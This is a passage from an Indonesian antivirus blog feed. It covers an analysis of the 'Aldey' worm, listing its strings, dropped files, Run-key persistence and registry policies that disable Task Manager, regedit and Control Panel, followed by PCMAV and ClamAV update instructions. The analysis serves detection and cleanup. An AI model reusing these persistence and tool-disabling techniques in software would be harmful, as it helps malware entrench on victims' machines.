00412E08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; runonce.exe</code></li> <li><code class="plain plain">00012E24&nbsp;&nbsp; 00412E24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; regedist.exe</code></li> <li><code class="plain plain">00012E44&nbsp;&nbsp; 00412E44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; rasdhncpl.exe</code></li> <li><code class="plain plain">00012E64&nbsp;&nbsp; 00412E64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; nsl0231.bin</code></li> <li><code class="plain plain">00012E80&nbsp;&nbsp; 00412E80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; patch.exe</code></li> <li><code class="plain plain">00012E98&nbsp;&nbsp; 00412E98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell64.bin</code></li> <li><code class="plain plain">00012EB4&nbsp;&nbsp; 00412EB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell16.dll</code></li> <li><code class="plain plain">00012ED0&nbsp;&nbsp; 00412ED0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kncpwklfdilha.exe</code></li> <li><code class="plain plain">00012EF8&nbsp;&nbsp; 00412EF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell128.dll</code></li> <li><code class="plain plain">00012F18&nbsp;&nbsp; 00412F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell256.bin</code></li> <li><code class="plain plain">00012F38&nbsp;&nbsp; 00412F38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kernel64.bin</code></li> <li><code class="plain plain">00012F58&nbsp;&nbsp; 00412F58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; winlogon .exe</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">00012F78&nbsp;&nbsp; 00412F78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; smodavrtp.exe</code></li> <li><code class="plain plain">00012F98&nbsp;&nbsp; 00412F98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; autorun.inf</code></li> <li><code class="plain plain">00012FC0&nbsp;&nbsp; 00412FC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; skripsi.exe</code></li> <li><code class="plain plain">00012FDC&nbsp;&nbsp; 00412FDC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\patch.exe</code></li> <li><code class="plain plain">00013008&nbsp;&nbsp; 00413008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\winlogon.exe</code></li> <li><code class="plain plain">00013038&nbsp;&nbsp; 00413038&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\kernel64.bin</code></li> <li><code class="plain plain">00013068&nbsp;&nbsp; 00413068&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\shell64.bin</code></li> <li><code class="plain plain">00013098&nbsp;&nbsp; 00413098&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Software\Microsoft\Windows\CurrentVersion\</code></li> <li><code class="plain plain">000130F4&nbsp;&nbsp; 004130F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SOFTWARE\Microsoft\Windows NT\CurrentVersion\</code></li> <li><code class="plain plain">00013154&nbsp;&nbsp; 00413154&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Software\Microsoft\Internet Explorer\Main\</code></li> <li><code class="plain plain">000131B0&nbsp;&nbsp; 004131B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Software\Policies\Microsoft\Windows\system\</code></li> <li><code class="plain plain">0001320C&nbsp;&nbsp; 0041320C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code></li> <li><code class="plain plain">00013280&nbsp;&nbsp; 00413280&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WScript.Shell</code></li> <li><code class="plain plain">000132A0&nbsp;&nbsp; 004132A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HKLM\</code></li> <li><code class="plain plain">000132B0&nbsp;&nbsp; 004132B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \RegisteredOwner</code></li> <li><code class="plain plain">000132D8&nbsp;&nbsp; 004132D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Bill Gate$</code></li> <li><code class="plain plain">000132F0&nbsp;&nbsp; 004132F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Regwrite</code></li> <li><code class="plain plain">00013308&nbsp;&nbsp; 00413308&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \RegisteredOrganization</code></li> <li><code class="plain plain">0001333C&nbsp;&nbsp; 0041333C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Microsoft Corporation</code></li> <li><code class="plain plain">0001336C&nbsp;&nbsp; 0041336C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HKCU\</code></li> <li><code class="plain plain">0001337C&nbsp;&nbsp; 0041337C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Window Title</code></li> <li><code class="plain plain">0001339C&nbsp;&nbsp; 0041339C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Windows Internet Exploder 10</code></li> <li><code class="plain plain">000133DC&nbsp;&nbsp; 004133DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Userinit</code></li> <li><code class="plain plain">000133F4&nbsp;&nbsp; 004133F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\userinit.exe</code></li> <li><code class="plain plain">00013430&nbsp;&nbsp; 00413430&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\Ctfmon</code></li> <li><code class="plain plain">0001344C&nbsp;&nbsp; 0041344C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\jwgkvsq</code></li> <li><code class="plain plain">0001346C&nbsp;&nbsp; 0041346C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\Windows Live Essentials</code></li> <li><code class="plain plain">000134AC&nbsp;&nbsp; 004134AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\Windows Live Messenger</code></li> <li><code class="plain plain">000134E8&nbsp;&nbsp; 004134E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\kahalaujdekwsowaawao</code></li> <li><code class="plain plain">0001352C&nbsp;&nbsp; 0041352C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\jwskeireewqaksjwenio</code></li> <li><code class="plain plain">00013564&nbsp;&nbsp; 00413564&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \Run\Brontok.bro</code></li> <li><code class="plain plain">0001358C&nbsp;&nbsp; 0041358C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; DisableCMD</code></li> <li><code class="plain plain">000135B0&nbsp;&nbsp; 004135B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; REG_DWORD</code></li> <li><code class="plain plain">000135C8&nbsp;&nbsp; 004135C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\System\DisableTaskMgr</code></li> <li><code class="plain plain">0001360C&nbsp;&nbsp; 0041360C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\System\DisableRegistryTools</code></li> <li><code class="plain plain">0001365C&nbsp;&nbsp; 0041365C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\System\DisableMsConfig</code></li> <li><code class="plain plain">000136A0&nbsp;&nbsp; 004136A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Advanced\Hidden</code></li> <li><code class="plain plain">000136CC&nbsp;&nbsp; 004136CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoRun</code></li> <li><code class="plain plain">00013700&nbsp;&nbsp; 00413700&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoFind</code></li> <li><code class="plain plain">00013738&nbsp;&nbsp; 00413738&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoFolderOptions</code></li> <li><code class="plain plain">00013780&nbsp;&nbsp; 00413780&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoClose</code></li> <li><code class="plain plain">000137B8&nbsp;&nbsp; 004137B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoControlPanel</code></li> <li><code class="plain plain">00013800&nbsp;&nbsp; 00413800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoViewContextMenu</code></li> <li><code class="plain plain">0001384C&nbsp;&nbsp; 0041384C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoStartMenuMorePrograms</code></li> <li><code class="plain plain">000138A4&nbsp;&nbsp; 004138A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Policies\Explorer\NoViewOnDrive</code></li> <li><code class="plain plain">0001A216&nbsp;&nbsp; 0041A216&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VS_VERSION_INFO</code></li> <li><code class="plain plain">0001A272&nbsp;&nbsp; 0041A272&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VarFileInfo</code></li> <li><code class="plain plain">0001A292&nbsp;&nbsp; 0041A292&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Translation</code></li> <li><code class="plain plain">0001A2B6&nbsp;&nbsp; 0041A2B6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; StringFileInfo</code></li> <li><code class="plain plain">0001A2DA&nbsp;&nbsp; 0041A2DA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 040904B0</code></li> <li><code class="plain plain">0001A2F2&nbsp;&nbsp; 0041A2F2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CompanyName</code></li> <li><code class="plain plain">0001A30C&nbsp;&nbsp; 0041A30C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Aldey Productions</code></li> <li><code class="plain plain">0001A336&nbsp;&nbsp; 0041A336&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FileDescription</code></li> <li><code class="plain plain">0001A358&nbsp;&nbsp; 0041A358&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Windows Explorer</code></li> <li><code class="plain plain">0001A382&nbsp;&nbsp; 0041A382&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ProductName</code></li> <li><code class="plain plain">0001A39C&nbsp;&nbsp; 0041A39C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; explorer</code></li> <li><code class="plain plain">0001A3B6&nbsp;&nbsp; 0041A3B6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FileVersion</code></li> <li><code class="plain plain">0001A3D0&nbsp;&nbsp; 0041A3D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6.01.7600</code></li> <li><code class="plain plain">0001A3EA&nbsp;&nbsp; 0041A3EA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ProductVersion</code></li> <li><code class="plain plain">0001A408&nbsp;&nbsp; 0041A408&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6.01.7600</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">0001A422&nbsp;&nbsp; 0041A422&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternalName</code></li> <li><code class="plain plain">0001A43C&nbsp;&nbsp; 0041A43C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Skripsi.exe</code></li> <li><code class="plain plain">0001A45A&nbsp;&nbsp; 0041A45A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OriginalFilename</code></li> <li><code class="plain plain">0001A47C&nbsp;&nbsp; 0041A47C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Skripsi.exe.virus</code></li> </ol></div><br /> <br /> <b>C. Companion/File yang dibuat</b><br /> Setelah aktif worm Aldey membuat companion sepert:<br /> • C:\WINDOWS\system32\ctfmon.exe<br /> • C:\WINDOWS\system32\winliveessentialsstartup.exe<br /> • C:\WINDOWS\system32\drivers\vgcon32.bin<br /> • C:\WINDOWS\system32\patch.exe<br /> • C:\WINDOWS\system32\kernel64.bin<br /> • C:\WINDOWS\system32\nsl0231.bin<br /> • C:\skripsi.exe<br /> • C:\WINDOWS\system32\rundll32.exe<br /> • C:\Documents and Settings\Administrator\Local Settings\Temp\kernel64.bin.exe<br /> • C:\Documents and Settings\Administrator\Local Settings\Temp\nsl0231.bin.exe<br /> • C:\Documents and Settings\Administrator\Local Settings\Temp\vgcon32.bin.exe<br /> • C:\WINDOWS\system\acpi.bin<br /> • C:\WINDOWS\system32\kncpwklfdilha.exe<br /> • C:\WINDOWS\system32\rasdhncpl.exe<br /> • C:\WINDOWS\system32\regedist.exe<br /> • C:\WINDOWS\system32\runonce.exe<br /> • C:\WINDOWS\system32\shell128.dll<br /> • C:\WINDOWS\system32\shell16.dll<br /> • C:\WINDOWS\system32\shell256.bin<br /> • C:\WINDOWS\system32\shell64.bin<br /> • C:\WINDOWS\system32\smodavrtp.exe<br /> • C:\WINDOWS\system32\syswowex.bin<br /> • C:\WINDOWS\system32\winlogon .exe<br /> • C:\WINDOWS\system32\winver.exe<br /> • C:\WINDOWS\system32\wishell1033.bin<br /> • C:\WINDOWS\system32\drivers\dxdrv32.sys<br /> • C:\WINDOWS\system32\drivers\vga.dll<br /> <br /> Agar bisa berjalan saat startup, selain membuat value di registry, Aldey juga membuat host di folder startup:<br /> C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\smodavrtp.exe<br /> <br /> <b>D. Hasil Infeksi</b><br /> • Membuat key pada registry untuk mendisable beberapa aplikasi windows.<br /> <blockquote>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]<br /> DisableTaskMgr<br /> DisableMsConfig<br /> DisableRegistryTools</blockquote><blockquote>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]<br /> NoRun<br /> NoFind<br /> NoFolderOptions<br /> NoClose<br /> NoControlPanel<br /> NoViewContextMenu<br /> NoStartMenuMorePrograms<br /> NoViewOnDrive</blockquote>• Menambahkan value key agar bisa berjalan saat startup<br /> <blockquote>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br /> Ctfmon=C:\WINDOWS\System32\ctfmon.exe<br /> jwgkvsq=C:\WINDOWS\System32\ctfmon.exe<br /> Windows Live Essentials=C:\WINDOWS\System32\winliveessentialsstartup.exe<br /> Windows Live Messenger=C:\WINDOWS\System32\drivers\vgcon32.bin<br /> kahalaujdekwsowaawao=C:\WINDOWS\System32\patch.exe<br /> jwskeireewqaksjwenio=C:\WINDOWS\system32\kernel64.bin<br /> Brontok.bro=C:\WINDOWS\system32\nsl0231.bin</blockquote>• Merubah Title Internet Explorer<br /> <blockquote>[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]<br /> Window Title=Windows Internet Exploder 10</blockquote><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aldey/4.ie" /></div><br /> E. Pembersihan<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aldey/5.pcmav" /></div><br /> <b>PCMAV 6.0 Update Build1</b><br /> <br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 6.0 Update Build1 telah hadir dengan penambahan <b>31 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 6.0, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:</div><div style="text-align: left;">Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.&nbsp;</div><div style="text-align: left;"></div><div style="text-align: left;"><b>Daftar tambahan virus hingga PCMAV 6.0 Update Build1:</b><br /> Aldey<br /> AryaN<br /> AryaN.inf<br /> AryaN.lnk<br /> Chat-FB.A<br /> Chat-FB.B<br /> Chat-FB.C<br /> Chat-FB.D<br /> Chat-FB.E<br /> Chat-FB.F<br /> Chat-FB.G<br /> Chat-FB.H<br /> Chat-FB.zip.A<br /> Chat-FB.zip.B<br /> Chat-FB.zip.C<br /> Chat-FB.zip.D<br /> Craft3<br /> Craft3.tmp<br /> FontPorn.B<br /> FontPorn.B.exe.A<br /> FontPorn.B.exe.B<br /> FontPorn.B.lnk<br /> FontPorn.B.tmp<br /> FontPorn.C<br /> FontPorn.C.ini<br /> None<br /> Ramnit.N.dropper<br /> Ramnit.O.dropper<br /> ThumbDrive<br /> TODO<br /> TODO.drp <br /> <br /> <br /> <br /> <span style="font-size: small;">PCMAV 6.0 Asgard </span>Update Build1 telah tersedia dengan penambahan 31 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis <span style="font-size: small;">PCMAV 6.0 Asgard</span> Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOGzFeEygZRgrKC9aqEU_v1jtXdwLaqTCIpbInPsv11CHH99PF8XrP11fylR-vjTzuCf79vJBWPbE5gyisDWWWFFA97yEdT3K1r9ghbvI_7LOuoSo3MxDixASZ0UXxfTefo-8imf20tRF0/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOGzFeEygZRgrKC9aqEU_v1jtXdwLaqTCIpbInPsv11CHH99PF8XrP11fylR-vjTzuCf79vJBWPbE5gyisDWWWFFA97yEdT3K1r9ghbvI_7LOuoSo3MxDixASZ0UXxfTefo-8imf20tRF0/s1600/2.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8D_Go5yLVbb-3IRrMGfErAaJQs6l1XllDzfOfUiZdB9cVQmFGMThycdENhN4jMCW0F9snXkRJRSUJe2jC4JpjVZjQHKs8ML6HKPYs4S7O6ZBv1WgFTXhIUqVK-XPNWLNNYNwLLAy6gwnM/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8D_Go5yLVbb-3IRrMGfErAaJQs6l1XllDzfOfUiZdB9cVQmFGMThycdENhN4jMCW0F9snXkRJRSUJe2jC4JpjVZjQHKs8ML6HKPYs4S7O6ZBv1WgFTXhIUqVK-XPNWLNNYNwLLAy6gwnM/s1600/1.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"><br /> </div></div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 6.0 Asgard extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.5 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.5 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/09/pcmav-55.html"><b>PCMAV 5.5 Valhalla<br /> </b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder </span><span style="color: #ff6666; font-weight: bold;">PCMAV 6.0 Asgard</span><span style="color: #ff6666; font-weight: bold;">/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV <span style="color: #cc0000;">6.0 Asgard </span></b><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> </span><span style="color: black;"><span style="font-weight: bold;"><a href="http://www.sendspace.com/file/ohx4p6">PCMAV 6.0 Asgard</a> (sendspace)</span></span><br /> <br /> <span style="font-weight: bold;">Alternative Link :</span><br /> <a href="http://www.4shared.com/file/01ZJfe4Z/PCMAV_60_Asgard__ekodombablogs.html"><b>PCMAV 6.0 Asgard</b></a><b> (4shared)</b> <br /> <a href="http://www.ziddu.com/download/17166465/PCMAV6.0Asgardekodomba.blogspot.rar.html"><b>PCMAV 6.0 Asgard</b></a><b> (ziddu)</b> <br /> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> </span><span style="color: black;"><span style="font-size: 100%;"><b><a href="http://www.sendspace.com/file/nvyvbs">Update Build 1</a> </b></span></span><span style="color: black;"><span style="font-weight: bold;">(sendspace)</span></span><br /> <span style="font-weight: bold;">Alternative Link :</span><br /> <span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/uCGrx2ty/vdb__Build1__10.html">Update Build 1</a> </b></span><span style="font-size: 100%;"><b>(4shared)</b></span><br /> <span style="font-size: 100%;"><b><a href="http://www.ziddu.com/download/17166514/vdbBuild1.rar.html">Update Build 1</a> </b></span><span style="font-size: 100%;"><b>(ziddu)</b></span></div></div></div></div></div></description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOGzFeEygZRgrKC9aqEU_v1jtXdwLaqTCIpbInPsv11CHH99PF8XrP11fylR-vjTzuCf79vJBWPbE5gyisDWWWFFA97yEdT3K1r9ghbvI_7LOuoSo3MxDixASZ0UXxfTefo-8imf20tRF0/s72-c/2.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title/><link>http://ekodomba.blogspot.com/2011/11/clamav-0972.html</link><category>CLAMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Fri, 4 Nov 2011 13:45:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-4246123253215340148</guid><description><div style="text-align: center;"> <span style="font-size: large;"><span style="font-weight: bold;"><a href="http://ekodomba.blogspot.com/2011/11/clamav-0972.html"><b>Clamav 0.97.2 Plugins PCMAV</b></a><br /> <br /> <img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinNaZkJDm0mHf3pvScIQdyJfCKPrQwZ_ON2AwsIcH7-V6CtWwAkQkYXj9y-PhS-z85T7WBSNmu19hX3zG9jzqMYO-viJo0VkvNps9nNnSDNd-9A6XFF_HKYGzKf9aaAbgE2E2CB1rKOpmB/s200/img2.JPG" width="200" /><span style="font-weight: bold;"> </span></span></span></div> <br /> <br /> Inilah dia yang ditunggu-tunggu CLAMAV 0.97.2 plugins untuk PCMAV yang telah saya coba integrasikan ternyata berhasil (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <a name='more'></a><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy-rYh1r0a931FvGfWMI6_6hTZMFIFpC0DT3eanpKyKkrzyOhBksvCVyYQEuh_rX2wa_zEx6q59wPv1BBUBlaDFynXYQaRPEQoNqq_JmwzqZM2bNses0HwY9cYl0msaFZ3wJxEYiTpJ-xY/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy-rYh1r0a931FvGfWMI6_6hTZMFIFpC0DT3eanpKyKkrzyOhBksvCVyYQEuh_rX2wa_zEx6q59wPv1BBUBlaDFynXYQaRPEQoNqq_JmwzqZM2bNses0HwY9cYl0msaFZ3wJxEYiTpJ-xY/s1600/2.JPG" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDoX5C71goE-P96U9ug68vPEwGR00ms2TI41kFDYhRlbBxnt4MoBTv-qm4fnMzbInmvAfN0UDnhQeHewDgf7lLOa-xHqyokOxgc8mk7t6myt2yNgfwr_aHL-mcwUM2RiDUVVqH-NbnT_YL/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDoX5C71goE-P96U9ug68vPEwGR00ms2TI41kFDYhRlbBxnt4MoBTv-qm4fnMzbInmvAfN0UDnhQeHewDgf7lLOa-xHqyokOxgc8mk7t6myt2yNgfwr_aHL-mcwUM2RiDUVVqH-NbnT_YL/s1600/1.JPG" /></a></div> </div> <br /> Bagaimana cara mengkombain CLAMAV 0.97.2 dengan PCMAV :<br /> 1. terlebih dahulu download CLAMAV 0.97.2 melalui link dibawah ini<br /> 2. setelah berhasil didownload extract hasil download tersebut<br /> 3. setelah berhasil di extract kemudian ambil file dengan nama dibawah ini<br /> &nbsp;&nbsp;&nbsp; a. libclamav.dll<br /> &nbsp;&nbsp;&nbsp; 